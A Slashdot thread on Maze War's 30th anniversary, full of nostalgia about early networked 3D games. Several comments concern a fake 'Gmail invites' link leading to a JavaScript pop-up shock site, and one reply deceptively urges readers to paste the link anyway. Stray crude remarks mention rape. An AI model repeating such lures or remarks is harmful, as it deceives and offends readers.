Precursor to Doom Racks Up 30 years of Fragging

VirtualUK writes "Back in 1974 the first 3D networked multiplayer first person shooter game Maze War set the ball rolling for todays games like Quake and Doom. Initially written on a Imlac PDS-1 players represented as an eyeball fought it out inside what could be considered a minimalistic graphical adventure in comparison to the texture mapped, hi-res extravaganzas on the shelves today. On November 6-7 at the Vintage Computer Festival 7.0 held at the Computer History Museum (Mountain View, CA) there's a special 30th anniversary special event for Maze War. Brude Damer's digibarn site has a great article about it here."

Comments

Anyone remember Dungeons of Daggorath?

[synaptik]

Anyone remember Dungeons of Daggorath? It's not as old as this game, but it looked very much like it. The most fun I ever had on a TRS-80 Color Computer!

Re:Anyone remember Dungeons of Daggorath?

[Anonymous Coward]

Ah, I remember that game just barely but I sure remember by Coco :) What a great computer those Cocos were. Used to mod the hell out of it: added a switch to invert video, extra ram board, other cool stuff. Damn, brings back memories. I played many a game on that damn thing and loved it. Good old cassette tapes. I was an engineering major at UMD at the time and hell, I could dial in on my 300 baud modem and skip the lines waiting for a terminal for my Fortran class. Even ran OS/9 on that sucker. Pretty damn decent OS for a toy, hehe. And then, when I got my first "real" pc (bought while my wife was in labor at the computer shop, no shit. I wasn't leaving that shop without my clone :) I got to play Wizardry! Now that was awesome! Those were the days :)

Re:Anyone remember Dungeons of Daggorath?

[Guncrazy]

I wasn't lucky enough to have the TRS-80 Color Computer. My first PC was the TRS-80 Model III.

I played my first 3-D game on it. It was called "Asylum", and was really more like an Infocom game, in that you had to type in commands to perform actions. Still, you moved around in a low-res monochrome environment, finding keys, solving puzzles, avoiding guards, etc.

Re:Anyone remember Dungeons of Daggorath?

[jonabbey]

Asylum was incredible. I played it on a 16k cassette Model I, and was amazed at the complexity the game had in it for its small size. Absolutely huge maps, full sentence parser, suspense, mystery.. best game ever on the Model I.

Re:Anyone remember Dungeons of Daggorath?

[Anonymous Coward]

LOL that's what I was thinking when seeing the screens for it. The sounds on Dungeons of Daggorath used freak the hell out of me when playing in the dark especially with the hartbeat sound after attacking a creature. Too bad I traded in my CoCo 2 and Dugeons of Daggarath along side many other good games. I suppose I could look into emulation.

Re:Anyone remember Dungeons of Daggorath?

[Hirokache]

Dungeons of Daggorath probably gave me the most enjoyment of any game ever. A pc port was made (both a linux and a windows version) but the site where it was still hosted until very recently is not up at the moment. http://mspencer.net/daggorath/dodpcp.html In case it comes back (there were forums there as well). http://members.tripod.com/~Frodpod/index-2.htmlsti ll seems to be up, though not updated in some time.

Re:Anyone remember Dungeons of Daggorath?

[BeerCat]

Ah, the days. My friend had a Video Genie (compatible with the TRS-80, but cheaper), and had Asylum, which he couldn't solve in time to claim the prize. Still, there was always Olympic Decathlon*, from a small company called MicroSoft, which later evolved in to the arcade Track and Field


*sorry about the link - it was the best I could find with pictures, even if it doesn't mention the TRS-80

Wait... there are other games?

[Anonymous Coward]

I've been playing this game for the last 30 years and now I found out there are other options?

Re:Wait... there are other games?

[Jason1729]

You haven't been missing much. The eye candy's been increasing as the playability dropped.

Download the wired CD: wiredcd.itallconnects.com

Yeah but what FPS does it get on a GeForce 6800?

[gatesh8r]

I'm not going to consider it if it's not any faster than Doom III.

Duke University

[JabberWokky]

I remember playing this for hours in the Mac labs at Duke University around 1987-1988. Mazewars was a great game. That and the 2D action NetTrek.

--
Evan

Re:Duke University

[pHatidic]

If these games were so great why aren't they still played today? Nethack is almost this old and is still played by thousands of people daily.

Re:Duke University

[Monkelectric]

Because frequently "nostalgia" is remembered through the rose colored glasses of youth?

The other day I was downloading some episodes of a TV show I love, "The Adventures of Pete and Pete" (release DVD's damnit!). In the same category was some season 1 tv rips of a show called "doug." I thought to myself, "what a waste of bandwidth, the show was ok ... but who would want the entire freaking thing?!" Then I realized, "doug" came along about ~5 years after pete and pete, and for surely someone 5 years younger then myself shared the same enthusiasm for Doug as I have for Pete and Pete.

Re:Duke University

[JabberWokky]

They are played today. The graphics and sound have been upgraded, and they have been ported to more modern systems.

You might have heard of the latest incarnation of this game: Doom 3.

--
Evan

Re:Duke University

[Bunch'a 4th Graders]

Someday, somebody will be bragging about their X-Box and their first gaming experiences with Halo.

Re:Duke University

[Anonymous Coward]

Buncha newbs.

Re:Duke University

[Anonymous Coward]

I can't speak to MazeWar, but I'll tell you what happened to NetTrek: there are still people playing, but it's a tiny ghostlike shadow of what it once was. And the reason is that it had an elitist user community that demanded near-flawless performance, and ridiculed "twinks" that didn't play well. And this made it so very hard for new users to jump in and play that new users stopped coming. As the old players moved on, no one replaced them, and the game died.

And it's a shame, because it was cool. Hell, I'd enjoy playing it now. If I were playing with people who could deal with the fact that at least at first, I'd suck.

Re:Duke University

[Anonymous Coward]

Of course, some of us simply didn't watch Nickelodeon obsessively...

Re:Duke University

[JabberWokky]

You're slightly off because you are discussing a show intended for children.

That said, cultural taste is split by geography and generation. Disco was all the rage in the 70s, but it's relatively unpopular now. Same goes for just about every form of music. That doesn't mean that they aren't good, just that they are tied to a culture that you happen to not be part of, or your tastes have moved.

Same thing happens when you move geographically. In California, people look at you funny when you ask what kind of barbeque a restaurant has... there's only one kind. But having moved here from the deep south, I now appreciate a good salad place (yay, Plutos).

Asking why more people don't play these games is like asking why the hit movie "Oceans 11" with the rat pack isn't still doing well in theaters. It was popular and did well at the box office... it hasn't gotten "worse" over time. Yet a remake of it with modern actors vaulted it back to a popular movie. The same goes for old games. The good ones still have people who play them; the good movies still have people who watch them. But for popular consumption, it has to be new - a "remake" of Mazewars called Doom 3 is doing well. The classics still get played, but the new ones always seem to much more popular - because they are the temporal culture you happen to be living in.

--
Evan

Re:Duke University

[justforaday]

You're slightly off because you are discussing a show intended for children.
I always wondered if Pete and Pete was truly meant for kids. I mean, the mother had a steel plate in her head, which even got it's own credit during the openings. Seems a little demented to me...

Just imagine...

[rune2]

how many fps that puppy gets now?

Re:Just imagine...

[porp]

how many fps that puppy gets now?

With Anti-Aliasing turned on or off?

porp

Ultima Underworld

[3770]

What I fail to understand is why Ultima Underworld never is mentioned in this context.

That was the first 3d game I played and it was awesome. You'd run around in a dungeoun system and hack and slash monsters a la single player RPG. The dungeon was not limited to a "flat 2d floor" you could run arund and end up running under a bridge that you had just run over.

I can't remember if it came before or after Doom. But it must have been at about the same time.

Re:Ultima Underworld

[3770]

Sweeeet!

I did a search on Ultima Underworld on a whim. And I found this page with some information on the game and a map of the "Stygian Abyss" and even better I found this link where you can download a demo.

I can't believe it. I'm going to have to download it and see if I can get it running.

I... Think... I'm... Going... to... cry.

Re:Ultima Underworld

[3770]

It actually works but you have to right click on the executable, choose properties and allocate some EMS memory for it. It then creates an old style .pif file and if you double click on that the game will actually start.

If you download this, just make sure that you put it in its own folder first because it self expands to the folder it is in.

It does look somewhat dated. But it is actually quite similar to todays 3d rpgs.

Re:Ultima Underworld

[3770]

OK,

I'm going to stop rambling about Ultima Underworld after this post. But 3 minutes into this game I "angered a giant rat with my actions". I just find it hilarious that I've spent so much time killing rodents in modern MMORPGs and yet it isn't a "new concept". No wonder that killing rodents feels "old".

I really hope that WoW and EQ2 will innovate in some way.

Re:Ultima Underworld

[Anonymous Coward]

coz it's not as popular as doom, that's why.
i bet nobody ever heard of hired guns either, though it was very close to doom and predates by a couple years. it was a cool game, fully 3d (x,y,z axis) but it was kinda weird in the sense you could only move one "square" at a time, even though it was realtime action. it allowed 4 players on the same machine with a split screen setup (4 quadrants) or you could bring some A.I. bots to assist you. it had real puzzles too (more complex than doom), awesome atmospheric soundtrack, scary monsters straight outa aliens, and you could even kill lemmings! but you had to be quick of the little bastards would start punchinng you to death. ;-)
only downside is no networking, but the 4-player thing kinda made up for that (you could coop or deathmatch, like in doom)
oh yeah i played the amiga1200 version. the pc version wasn't as good (the sound was terrible).

Re:Ultima Underworld

[Anonymous Coward]

and if you search abandonware sites you can get the whole game! magic

Re:Ultima Underworld

[ZosX]

Cool game, but it can't be 3d by any means. It looks like Eye of the Beholder (or Bard's Tale for that matter). The reason you could likely only move in squares gives away a lot about the graphics engine. It really isn't even 2.5D ala Wolf3D and Doom. Call bullshit (I could be wrong), but Ultima Underworld is truly the first 3D game to feature a Z-Axis as well as give you the ability to look up and down. Doom wasn't to even come out until a few years later.

Re:Ultima Underworld

[eggstasy]

Ultima Underworld was one of my favorite games. It was far more immersive than anything else I have ever played.

Re:Ultima Underworld

[3770]

Thank you for putting a time on this game. I had it all wrong. So it was way before Doom. So it came out around Wolfenstein 3D then.

I do remember thinking that Ultima Underworld was waaay ahead of its time when I was playing it.

And another thing. Even now, when I tried it, I really liked the "feel" of it. Not the controls, they were a bit screwed up, but the feel of the dungeon and the sense of dungeoun exploration.

Re:Ultima Underworld

[FnordPerfect]

> I can't remember if it came before or after Doom.
> But it must have been at about the same time.

Not quite. Ultima Underworld came out in 1992, way before Doom, which was released two years later.
But it was indeed about the same time as Wolfenstein 3D came out, which had, although the faster, technically the inferior engine.

I remember having read somewhere that it was a tech demo of Ultima Underworld which actually inspired John Carmack to write the 3D engine which would later become Wolfenstein 3D.
In the article was stated that he looked at the texture-mapped dungeons and then said something like "I can do that better."

Ultima Underworld, however, already had textured floors and ceilings, different height levels, angular walls, kind of a primitive light sourcing, even some gouraud-shaded 3d objects.
Moreover your character was able to jump, swim and climb.
All in all, Looking Glass (Blue Sky Productions at the time) did an amazing job for the time.

Re:Ultima Underworld

[3770]

Thank you very much for this information.

Richard Garriott

[pHatidic]

Richard Garriott, the creator of the Ultima series of CRPGS, has cited this game as an inspiration of his first commercial game Akalabeth in an interview on the Ultima Collection CD. He says this game was the current 3D state of the art at that time.

Re:Richard Garriott

[WWWWolf]

::snap::

The last time I read about Akalabeth in a magazine, it had a screenshot of the 3D dungeons with caption "The Quake of its era."

And look at this article: "Oh, look how this thing later led to games like Doom 3..."

Hmm, I've been reading about Akalabeth a lot and I haven't even played it. I suppose I should try it some day - everyone seems to be remaking it these days..

sniping

[Hollins]

from the article:

Dan tells us that this was a "heart pounding game" when compared to the otherwise dull environment of the Xerox document/desktop metaphor. He noted that you could "shoot" your opponent if they did not see you (their eyeball character was facing away from you). He also notes that you could "hide" in parts of the maze and wait in ambush.

Wow, so sniping in FPS can be traced all the way back to the 70s. I wonder if other players complained about it back then, also.

Re:sniping

[slavik1337]

we're there wallhacks and aimbots, too?

Play Maze War online? How about on your Palm?

[DoorFrame]

I'm trying to find a site to play the game today online. It seems like it would be a simple game to recreate in a multiplayer form online. If I can play Joust online with shockwave, why not Maze War?

The best I could find was this Palm Pilot version available for download. Good, but not multiplayer like I want. Also, as I have a pocket pc it's not much use for me.

Not Gmail invites! Not work friendly!

[mh101]

Too bad it wasn't modded down 30 seconds earlier, before I clicked on it. =(

Re:Not Gmail invites! Not work friendly!

[DoorFrame]

Hmmm,

it appeared to be a guy (girl?) with crap on his (her?) face, but the screen kept moving too fast for me to really see it. Also, I didn't get the whole thing becuase my window wasn't big enough. Also, it started talking, but as it's somewhat late I turned it down right away. What did it say? And what horrible thing was I supposed to see?

Re:Not Gmail invites! Not work friendly!

[Three Headed Man]

That, my friends, is the infamous "Last Measure", a project of the GNAA. Read about Last Measure in the "Last Measure" section of the shock sites article. The voice was saying "HEY EVERYBODY, I'M LOOKING AT GAY PORNO."

Maybe because UU was 20 years later?

[jbellis]

So it really has no business being mentioned in the context of first-mover 3d games. We're glad you liked it; we're even glad it was the first you played, but not everyone here was born in the '80s.

FPS, circa 1987: MIDI Maze

[dstone]

FPS on Atari STs, networked with MIDI cables in a ring configuration. Now that's a nice little hack.

Maybe today's equivalent would be an FPS on cell phones with Bluetooth or IRDA. No, too obvious.

Re:FPS, circa 1987: MIDI Maze

[headLITE]

I actually remember bugging my dad to lay a "MIDI line" between my brother's room and mine, so we could play MIDI Maze on our STs ;)

Mind you, you couldn't only play games over MIDI, there were also other networking tools, you could even mount shares on other Ataris over MIDI. Now isn't that cool, built-in LAN interfaces in a home computer in the mid-80ies! PCs got that 15 years later.

Re:FPS, circa 1987: MIDI Maze

[moonbender]

Plus Midi Maze II had the coolest title theme ever. I've got the first 30 seconds or so somewhere, converted to MP3. :P

Re:FPS, circa 1987: MIDI Maze

[SillyNickName4me]

> Now isn't that cool, built-in LAN interfaces in a home computer in the mid-80ies! PCs got that 15 years later.

Definitely cool. Just wanted to say that Atari was kindof 5 years late with it, Commodore's IEC bus allowed the same, with the added advantage that floppy drives and printers conencted to it directly.

(On the other hand.. I still have a ST doing something usefull here, while the C64 I also have is mostly gatherign dust except for the few times I want to play Traz)

Re:FPS, circa 1987: MIDI Maze

[operagost]

Mind you, you couldn't only play games over MIDI

Yes! Believe it or not, you could also PLAY MUSIC!

Re:I claim...

[Anonymous Coward]

Hopefully he dosen't rape our women (we have some of those, right?), and give us small pox (who could tell through our dense layer of zits?)

Damn Italian-spanish computer freaks.

Re:Not Gmail invites! Not work friendly!

[Anonymous Coward]

You should run a virus checker now.

Re:Yeah but what FPS does it get on a GeForce 6800

[mog007]

I'm sure it allows for more than four people! HA!

C'mon...

[Lee Tacker]

You mean this little gem hasn't been ported to Windows? I already feel like I'm runnin' around in a maze all day. It's the perfect fit!

Re:C'mon...

[theperplepigg]

I haven't played it, so I can't endorse it in any way, but a quick google search turned up this: http://www.slimeland.com/games/mazewars/

Re:Play Maze War online? How about on your Palm?

[Anonymous Coward]

Did anyone know a James Yee connected with Xanth/Faceball? Several tick-tocks short of a clock.

Not Graphics Oriented but

[Anonymous Coward]

The first networked "shooter" that I played was Snipes. It ran pretty fast and was a lot of fun. Man I miss that game. ):

PLATO: Moria, circa 1975

[RealProgrammer]

I spent many nights in junior high "hacking" in the PLATO labs at the University of Illinois (UIUC). One of the grad students there at the time, the unspoken Hacker King, was one Rob Kolstad. We wrote (ok, so the other guys wrote and I pretended to write) software for student instruction, and were rewarded with computer time.

Anyway, back on topic: we used that time mostly to play a game called "moria" ("MOR-ee-uh" or "mor-EYE-uh"). It was a multiplayer, 3D action game drawn in bitmap graphics and text. Wireframe walls and corridors. You formed teams, managed your resources, fought battles to gain experience, and the rest.

Ah, nostalgia.

Re:PLATO: Moria, circa 1975

[wayne]

Moria wasn't really a first person shooter game. Yeah, you ran around in a maze with a first person perspective, but you never saw anything other than the walls. Once you "encountered" some monsters, you would go into a more traditional nethack-type battle. (Yeah, it preceeded nethack, people are more familiar with nethack.)

I also thought that Moria wasn't created until the late 70s, and there there were more traditional nethack-like games before then. I used MinnA instead of Cerl, so maybe it just took a long time to make it over there.

Plato was a really cool system. Back in the 70s and 80s, it was more like the modern Internet than the Internet was back then.

A good overview of Plato can be found at www.platopeople.com There is also a group of people trying to preserve the original plato system.

Re:PLATO: Moria, circa 1975

[RealProgrammer]

Thanks for the info. Yes, I remember the battle screen, now that you mention it. My memory is bad for dates.

I think I'll sign up for a cyber1 account :-).

Re:PLATO: Moria, circa 1975

[tricorn]

There were several incarnations of moria. One was an infinite maze based on a hash of the current location, others were more limited (I think all were based on hashes, though - no data storage of the maze). The date was mid-late-70's The first one was an overhead view D&D game, at some point it became a 1st person (limited) view. There was another notable game written in the mid-70's called empire, which was the inspiration for nettrek.

The two primary 1st person 3-D dungeon games on PLATO were oubliette and avatar. Oubliette was the inspiration for Robert Woodhead's Wizardry. The author of oubliette, Jim Schwaiger, also wrote a PC version called Micro-Oubliette, but Wizardry was much more well known. Avatar was the inspiration for Mike Kulas, founder of Volition, to do game programming.

Jim Bowery wrote what he believes is the 1st multi-player First Person Shooter game in early 1974, called spasim ("space sim" or "spasm").

Empire and avatar are going strong on the PLATO revival system (last I checked, the Federation was kicking butt in empire), and you can also check out the original airfight, and possibly airsim might be restored by now (Brand, you out there? Contact me!). Airfight was the inspiration for Bruce Artwick to produce the original Apple II and IBM PC flight simulators (subLogic and BAO, now Microsoft).

Re:PLATO: Moria, circa 1975

[Anonymous Coward]

RealProgrammer (723725)
+
My memory is bad for dates.

Maybe because you never had any?

Thanks, I'll be here all week! Try the date cake for desert. Ahaha, dessert.

Re:PLATO: Moria, circa 1975

[groot]

At the risk of showing my age, empire on PLATO was my original game addiction back in high school. It and the entire PLATO system was very advanced for its time. My favorite thing was that the game was self-aware about its enviroment and each player had a quota of tps "tips" or transactions per second, the equivalent of cpu cycles. As you played and and especially when went into battle you would eat up your tps and occasionally die, because you had "tipped-out" and your ship was helplessly frozen and obvious cannon fodder to the other teams. There were 4 different teams and each had some advantage and some disadvantage, eg. the Romulans (also known as the Pigs) had big ships that were porking slow but could take out the enemy ship on one or two hits.

The other game that use to enjoy (a single user game), I forget the name, but it in you navigated through a city in eastern European cold war nation, trying to extracate a individual. You had a map (graphic) but it was not correct since their was constantly being rebuilt, lots of checkpoints, lots of closed streets. I never did get the bugger out there before finishing high school, damn!

Due to the popularity of the game our school had to enforce a rule that only allowed empire and other equally addictive games to after-hours (past 5pm) so that others who actually had class assignments (mostly remedial schooling) could do their work. Crowds would form at the computer lab to get first licks.

Re:PLATO: Moria, circa 1975

[tricorn]

TIPS stands for "Thousand Instructions Per Second". The Cyber CPU executed approximately One Million Instructions Per Second (MIPS), so the 10 TIPS limit was about 1% of a CPU. Of course, most empire players used background processing - no fixed limit on CPU time, but lower priority. I eventually made that the only mode allowed in empire after Dave Capron took to "cooling TIPS" all day to try to get an advantage (TIPS were averaged values, so if you spend several hours doing nothing, you could then spend an hour running at 3-4 times the normal limit, and you had higher than normal priority as well).

The term "autobreak" was what people used when they got no processing time because they were exceeding the limit. The term comes from the -break- command, which at one point was mandatory to execute before your timeslice got too long. Eventually, a mechanism was added to just do that automatically whenever your timeslice was over, and that was called auto-break.

Re:PLATO: Moria, circa 1975

[Thuktun]

The only Moria I've run across was a 2-D non-graphical overhead view. That Moria was created in the early 1980s, loosly based on Rogue. Is that at all similar to the one you're describing?

Port?

[Hatta]

So is there a linux port? I can't find any source code. There's a version for PalmOS, surely a linux port can't be too much to ask?

Faceball 2000

[rayde]

don't forget the semi-sequel, Faceball 2000. it's a 4 player 3D fps for Gameboy!

Re:Faceball 2000

[dubbreak]

Haha. Awesome that's the first game i thought of when i saw this. I still have faceball 2000, man was that a disapointing xmas gift (the single player mode wasn't entertaining for long).

The Music rocked though. Here's a link

Re:Faceball 2000

[Burning1]

Faceball 2000 is a 2 player FPS for the SNES, you young whipper snapper.

Re:Faceball 2000

[dstone]

Faceball 2000 is a 2 player FPS for the SNES, you young whipper snapper.

Actually, Faceball 2000 on the Game Boy in 1991 preceded the SNES version by approximately a year, you young whipper snapper. It was the followup (by the same company, Xanth Software FX) to MIDI Maze on the Atari ST (in 1987).

The Game Boy version allowed play for 2 handhelds head-to-head, cabled together with standard Nintendo cables. With a special (non-commercialized cable), it would allow up to 16 Game Boys to join in the FPS goodness.

That is beautiful

[Anonymous Coward]

For those of you too cowardly or too wise to click... that sends you into a bottomless pit of Javascript which will pop up hundreds of windows all over your screen. These windows will be full of nasty gay porn featuring all kinds of nasty things, and it will also play a sound file over and over that says "hey everybody, I'm looking at gay porno". You won't be able to close the windows fast enough to turn it off. If you're running Konqueror, I think it will stop itself when it detects that too many windows are open. I looked at it with Mozilla, and found that the easiest way to stop it is to open a terminal and go "ps auxwww|grep mozilla | awk '{print $2}' | xargs kill -9". But that's just me.

If you are running on Windows, you're really in luck because IE is part of the operating system, so you get to enjoy looking at gay porno.

Re:That is beautiful

[Anonymous Coward]

For those of you too cowardly or too wise to click... that sends you into a bottomless pit of Javascript which will pop up hundreds of windows all over your screen. These windows will be full of nasty gay porn featuring all kinds of nasty things, and it will also play a sound file over and over that says "hey everybody, I'm looking at gay porno". You won't be able to close the windows fast enough to turn it off. If you're running Konqueror, I think it will stop itself when it detects that too many windows are open. I looked at it with Mozilla, and found that the easiest way to stop it is to open a terminal and go "ps auxwww|grep mozilla | awk '{print $2}' | xargs kill -9". But that's just me.

Or, if you have your javascript security settings right in Firefox, it just opens up one window, which you can easily close. Come on people, I understand normal folks having unsecured browsers, but this is slashdot!

Re:That is beautiful

[Anonymous Coward]

Or you could hit "Control Alt Delete" and halt the IExplore.exe process.

Just saying..

Wolfenstein

[gmuslera]

For me it is THE precursor of Doom (even III). Back in the 90's, was a true revolution what that game started. Of course, Maze Wars is even older, but Wolfenstein had all the components in the right place, not just a 3D view.

Re:Wolfenstein

[Baldrson]

Silas Warner does deserve limited credit for the first FPS game -- but not for Wolfenstein. See Spsim.

Re:Wolfenstein

[Anonymous Coward]

Gosh, it probably helps that Wolfenstein 3D *was* the actual precursor to Doom, then, doesn't it? Same development team, same company, same initial distribution strategy (shareware).

Re:Play Maze War online? How about on your Palm?

[Usquebaugh]

Imaze baby.

http://home.tu-clausthal.de/student/iMaze/

I thought every linux hacker knew about this. Looks damn similar to the original

R'e:sni'p'in'g

[Anonymous Coward]

we are there wallhacks and aimbots too?

Wink Murder anyone?

[tonsofpcs]

I wink at you, you die. Muhahaha.

--
/me looks for an Amiga port

Re:Wink Murder anyone?

[Anonymous Coward]

I play that everyday.

I wink at the girls, and they die, or at least they play dead...

Has anyone played NLSNIPES?

[Anonymous Coward]

When I first read "precursor to Doom" I thought it might be the ASCII-based game called NLSNIPES since this was my family's precursor to Doom for deathmatch-style play.

Check out a short article here: here

It even includes a link so you can download the program for yourself. (And the program is very small!)

I also remember creating my own "mods" for this game, although since this was before I was online I never posted them to the web. There was a program that shipped on a PC Magazine CD that let you edit the system font. Since each player is graphically represented by a couple of eyes and a couple of initials, I changed the font so that the eye characters looked like spaces. Then, if you set your initials as " " you become invisible, although your opponent can still see your shots. :)

Also, if you set your name to one of the extended characters used in the walls and you stand next to one, it becomes difficult for other players to see you.

Re:Has anyone played NLSNIPES?

[reality-bytes]

I suppose these days you write wall-hacks and aimbots :P

Re:Has anyone played NLSNIPES?

[Anonymous Coward]

Actually, the invisibility hack was more of a change in gameplay rather than a cheat, since it would affect all players in the same way.

Of course, you could cheat with this by telling everyone to change fonts and then not doing it yourself. (And yeah, I did do that a few times while playing with my younger brother...)

Also, I just remembered that another version of this hack was changing your guy to look like an enemy player (which was the ASCII smiley face and an arrow.) The trick here was to stand near an enemy generator (and the generated enemies), move very slowly (like the enemies do), and yet not get killed by the other enemies.

Other early 80's ASCII based multiplayer games?

[NotQuiteReal]

I remember a couple of fun multi-player network games on Unix machines of the early 80's - but I don't recall their names, maybe someone can help;

They were both ASCII based, so worked on any tty, IIRC.

One was a space game that involved "mining" planets for resources and hunting for other players and shooting at them.

Another one was also a shooting game, played in a maze - but, again, it was all ASCII, with no bitmap stuff at all.

Both addictive, and really fun, at 9600 baud! (that was hard-wired - dialup was typically 110 or 300, with acoustic phone couplers).

Re:Other early 80's ASCII based multiplayer games?

[Anonymous Coward]

The one in the maze was called hunt. I think the other one was empire.

Maze's Great Accomplishment

[ae491]

From DigiBarn's Maze War page:

"Today's massively multiuser 3D games owe a great debt to Maze... Maze is the reason why nobody can claim ownership of the rights to the invention of a multi-user 3D Cyberspace..."

I was expecting Maze's great accomplishment to some technical feat. The interface, the networking... That one of it's greatest legacies is as a source of prior art to allow all the creativity that's followed shows what a state the patent system is in. It's sad that a system designed to promote creativity (by ensuring artists were compensated for their work) has been allowed to become so perverted by corporate interests that these days it often does more to hinder innovation.

What about Ballblazer

[BrookHarty]

Ok, I'd say Ballblazer was my first FPS with multiplayer.

But for just plain 3d cube movements like the original Ultima, there was many of them (and the freaking wheel decoders) out. Bards Tales series, Might and Magic, list goes on.

Shame, just walked over to my c64, looking at all my disc's still in the cases. Lost my supersnapshot speedloader, cant find my old favorite game, or remember the name of it. An RPG, 4-5 disc, like Bards tale, but with an oriental theme, fire/earth/wind/water discs. Guess thats what happens when you don't touch the system in over 20 years...

-Know your roots...

Re:What about Ballblazer

[saldek]

Would that be Moebius by any chance?

Re:What about Ballblazer

[BrookHarty]

I think it is, but all the c64 history sites have it as a shooter.
http://www.c64unlimited.net/games/m/Moeb ius/Moebiu s.htm
http://www.lemon64.com/?mainurl=http%3A//ww w.lemon 64.com/games/list.php%3Ftype%3Dtitle%26name%3DM%26 lineoffset%3D165

Re:What about Ballblazer

[Anonymous Coward]

MobyGames has a link to the C=64 version here. The Apple II version somewhere in the basement; very nice game, but never got much farther than the bamboo fields.

Re:What about Ballblazer

[Anonymous Coward]

It is Moebius. Try looking for an Apple II emulator, and then a ROM of it.

That was one of my favorite RPG games back in the day when I had an Apple II clone (Laser 128, anyone?).

Spasim, March, 1974

[Baldrson]

Actually, a real 3d rendered multiplayer 3d first person shooter game, as opposed to a pseudo 3d, 2d first person shooter game, existed in multiplayer mode in March of 1974. It was only 32 players but it was nation-wide. It was called spasim.

Rumor has it that it is being restored for Internet play on cyber1 as "0spasim". At least I've given them permission to restore the backup of 0spasim to that system, which is an emulation of the PLATO system upon a CDC Cyber 6400 emulation of one of Seymour Cray's original machines.

Re:Spasim, March, 1974

[BACbKA]

What an amazing coincidence. Having researched the matter last week when writing about the "3D Monster Maze" on the Wikipedia, I was now just about to bitch in about giving credit to "Spasim" first, when I saw this message from you.

I am tempted to try to join the cyber1.org system, but not now when it is obviously slashdotted or will soon be :)

Re:Spasim, March, 1974

[Baldrson]

I am tempted to try to join the cyber1.org system, but not now when it is obviously slashdotted or will soon be :)

It probably shouldn't be slashdotted yet. The system still has some bugs and the purpose is mainly a reunion of some of the PLATO community. There will probably have to be a second system set up for the outside world.

Re:Spasim, March, 1974

[salamundi]

Nah, cyber1 is pretty stable, certainly usable at this point. Every night there are 25-30 users already, and the system runs pretty much 24/7. It is NOT an emulation, but rather real PLATO; the owner of the system obtained the rights to both the system and courseware, over 16,000 files... including a whole bunch of very cool old games.

Wolfenstien...

[uarch]

Wolfenstien is 30 years old!?

Yeah yeah, RTFA, I know :(

Aren't we forgetting...

[cuteseal]

Aren't we forgetting the ultimate precursor to doom, quake etc... PACMAN! :)

nice way of putting it

[tsunamifirestorm]

"could be considered a minimalistic graphical adventure"
that's a nice way of saying the graphics suck.

Re:nice way of putting it

[grumbel]

At least they are better than nethacks graphics =;)

3-Demon!

[rxmd]

Reminds me of the classic 3-Demon, basically a 3D first-person version of Pacman for DOS, with amazing(TM) CGA graphics. Came out in 1983.

It's the first FPS I've ever played, and the download is a whopping 19 kilobytes ;)

Re:3-Demon!

[British]

Believe it or not, 3-demon had a television commercial for it. It was very low-budget, and offered a 3-demon t-shirt! Mind you, the t-shirt looks like it was made by a kid.

SuperMazaWar (PPC)

[DJCF]

Never played MazaWar but I used to have hours of fun on the succesor - supermazewar. Like Mazewar, only with colour and sound. Anyone else here play it much?

Ultima III already

[Anonymous Coward]

Ultima III already had the dungeons presented as first-person view vector graphics.

(While all the rest was the gorgeous, imagination-inspiring 2D symbolism -- which psychological effect they completely destroyed in the ugly "isometric 2D" view in Ultima IV and beyond, aiming at more realism but just managing to disrupt the symbolism that was so important to the mysterious feel of the game -- as important as the music which remained awesome in the later sequels.)

There were other games for C-64 which used that technique. Damned if I can remember the names of the games...

No doubt there were the same, and other titles on the other home computer platforms of days yonder, too.

But yeah, I'm talking 80's, not 70's.

Ultima Underworld was much later than Ultima III, though.

Re:Ultima III already

[connorbd]

The Legend of Blacksilver and Legacy of the Ancients (one Epyx, one Electronic Arts, but same engine) used it for their dungeon crawl views, though they implemented it in a rather klutzy fashion. In any case they were really an adjunct to a more traditional scrolling CRPG.

Re:Not Gmail invites! Not work friendly!

[Anonymous Coward]

Actually, these are completely legit gmail invites. Or were, as they're all probably used up by now. The secret is NOT TO CLICK on the link, but simply copy the link text to the address bar.

Besides, why would you want a gmail account anyway? I thought everybody already had one by now?

I played this game!!

[KlaymenDK]

Yes! On a Fat Mac that my dad had at home (he was working for Apple at the time). My brother and I can attest that this was an over-the-network multiplayer game. However, with its 90-degree turns and isometric steps I wouldn't exactly compare it to Doom ... not the gameplay at least.

Weee! Power to the old Mac games! (Geez, that makes me feel old...)

Re:I played this game!!

[ps_inkling]

Although I cannot find much, the first version of Maze for the Macintosh was MazeWars+, which was made by MacroMind (link) as a demonstration of their VideoWorks animation engine (link). It was black and white program on a 400K disk (bootable stripped System), and ran on almost any old Macintosh up to the SE and SE/30 (later systems reorganized how video memory worked, but MazeWars+ wrote to video memory directly for additional speed instead of using QuickDraw).

In a school lab, we had up to sixteen people playing as various shapes (eyeball, arcade game, taxi, boot, and one other) over an AppleTalk network. The fun was that MazeWars+ had four different levels (each level had an elevator to every other level) , and included four types of robots (one was a TARDIS that you could use to teleport randomly in the same level (much fun to teleport your opponent unexpectly), another was a Shadow Killer (only saw the shadow in the maze), a dummy (immobile target), and a very dumb AI robot)).

A later version of Maze was Super Maze Wars, with color and other features. Apple shipped it with some Macintosh models.

One nifty thing about the software is that it came with a disk label for an "official copy" of the game. Very thoughtful of them.

A French language website has screenshots of MazeWars+, along with other early Macintosh applications.

Re:sniping .... NOT

[garroo]

That's fucking camping! The bastards!

(oh, sure, sure, some will say it's a legitimate tactic....)

I can't believe it

[Illserve]

It fits on a floppy disk.

Can you imagine?

Re:sniping .... NOT

[Anonymous Coward]

It's a legit tactic. Do you think soldiers in the real world hare about like maniacs? They'd all be mown down by cover fire from a single machine gun... If you can _win_ against campers and snipers, without losing _any_ health (in the real world, one shot often kills...), maybe you'd have some tiny chance in a real firefight. But not much.

Re:Play Maze War online? How about on your Palm?

[bhtooefr]

There's a Mac OS version, supposedly, so you could run it on Basilisk II on x86, or run it under Mac OS on a real Mac (can OS X do 68k code, which I strongly suspect it is?)

Re:Play Maze War online? How about on your Palm?

[Fortyseven]

I wouldn't mind grabbing that PalmOS version, but the link is broken on the download page. Sigh. :[

Doug was first

[tinrobot]

then I realized, "doug" came along about ~5 years after pete and pete,

Doug came out in '91 or so, along with Ren n Stimpy and Rugrats. Pete and Pete was two years later, in 1993.

I know because I worked at Nickelodeon at the time.

Re:Doug was first

[Monkelectric]

having reviewed the facts in this case, it has come to my attention that you are entirely correct :)

FYI

[Anonymous Coward]

